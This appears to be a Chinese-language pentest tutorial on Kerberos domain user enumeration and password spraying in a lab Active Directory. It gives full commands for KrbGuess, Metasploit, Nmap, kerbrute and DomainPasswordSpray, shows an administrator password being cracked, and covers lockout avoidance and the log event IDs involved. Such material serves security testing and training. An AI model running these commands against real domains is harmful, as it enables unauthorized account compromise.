Kerberos
Kerberos是一种计算机网络认证协议,它允许某实体在非安全网络环境下通信,向另一个实体以一种安全的方式证明自己的身份。软件设计上采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证。可以用于防止窃听、防止重放攻击、保护数据完整性等场合,是一种应用对称密钥体制进行密钥管理的系统。Kerberos的扩展产品也使用公开密钥加密方法进行认证。
Kerberos域用户枚举
由于Kerberos本身是一种基于身份认证的协议,所以也可对进行暴力破解或用户名枚举。
Kerberos服务所在端口为88
端口,采用tcp
连接。
为何能利用Kerberos域进行用户枚举?
- 利用Kerberos错误代码进行判断
用户分别有三种状态:启用、禁用、不存在。
三种状态的错误代码分别为:
KDC_ERR_PREAUTH_REQUIRED
-需要额外的预认证KDC_ERR_CLIENT_REVOKED
-客户端凭证已被吊销KDC_ERR_C_PRINCIPAL_UNKNOWN
-在Kerberos数据库中找不到客户端 - 发送枚举/爆破请求时,不需要预先登录到域用户下,只要攻击者所控的机器可以与域控的KDC正常通信即可。
- 当Kerberos下的认证失败,在Windows日志中 不会记录为RDP爆破的事件ID(4625),而是”预身份验证”失败(ID:4771)。
枚举工具
Krbguess
工具简介
KrbGuess是一个小型简单的工具,可在安全测试期间使用它来针对Kerberos环境猜测有效的用户名。它允许您通过研究TGT请求对KDC服务器的响应来执行此操作。该工具适用于Microsoft Active Directory,MIT和Heimdal Kerberos实施。此外,它将检测帐户是否缺少预身份验证。
该工具随附一个包含用户名列表的文件,并为每个用户请求一个TGT,然后等待响应。如果KDC使用有效的TGT响应或显示一条错误消息,指出需要进行预身份验证,则已发现有效的用户名。为了提高性能,可以并行运行多个猜测(当前仅针对单个KDC)
用法:
Java –jar kerbguess.jar –r [domain] –d [user list] –s [DC IP]
参数详解:
KrbGuess [options]
--help|-h - you're reading it
--realm|-r - the name of the realm/domain
--dict|-d - the file containing the usernames to guess
--server|-s - the KDC/DC against which to do the guessing
--threads|-t - the maximum number of threads (default 40)
--wait|-w - wait ms when max threads reached (default 60ms)
--output|-o - log output to file
工具下载地址:krbguess
效果:
kerberos_enumusers
该工具是msf的内置模块,我们可以直接利用,命令如下:
use auxiliary/gather/kerberos_enumusers
set rhost [DC IP]
set user_file 字典文件
krb5-enum-users
这是Nmap工具的一个枚举脚本
用法:
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='hackergu.lab',userdb=C:\Users\Gu\Desktop\user.txt 192.168.1.2
使用Nmap探测,不会列出锁定或者禁用的用户。
所以,对比那两款工具的执行结果,我们不会看到guest
和krbtgt
的用户。
比较不错的域用户枚举字典:kerberos_enum_userlists
Kerberos域用户密码爆破
当尝试枚举或爆破用户时,由于策略的问题,很可能导致域账号被锁定。而默认允许的错误为5次,通常账户锁定后,需要等待30分钟才能恢复。(帐户被锁定后,即使输入正确的口令,也会提示口令错误)
所以,最好的办法就是通过单密码
+用户列表
的方式进行”喷射爆破”。
kerbrute
该工具可在非域主机上使用,保持主机与域控机器通信正常即可。
参数
> python kerbrute.py
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip <ip_address>] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip <ip_address> IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com
使用命令并配置参数:
python kerbrute.py -domain hackergu.lab -users C:\Users\Gu\Desktop\user.txt -password hackergu***** -dc-ip 192.168.1.2
效果:
从结果我们可以看到,成功破解administrator账户的密码,testuser用户密码猜测失败,而剩下的krbtgt
和guest
用户处于锁定或者禁用状态。
DomainPasswordSpray
该工具是由powershell编写的脚本,可在当我们拿到域用户权限下使用。
下载地址:DomainPasswordSpray
工具使用
首先,我们需要获取可爆破且未锁定的用户
。如下:
Import-Module .\DomainPasswordSpray.ps1
Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts
我们也可以将得到的用户输出到文本文档中,供爆破使用,命令如下:
Get-DomainUserList -Domain hackergu.lab -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
使用命令进行密码爆破:
Invoke-DomainPasswordSpray -Domain hackergu.lab -UserList .\userlist.txt -Password 'hackergu*****'
若使用密码字典,则使用
-PasswordList
参数。
总结
在内网中,尽量能搜集就先搜集,爆破枚举不到万不得已的情况,不要使用。
参考文章:http://test666.me/archives/344/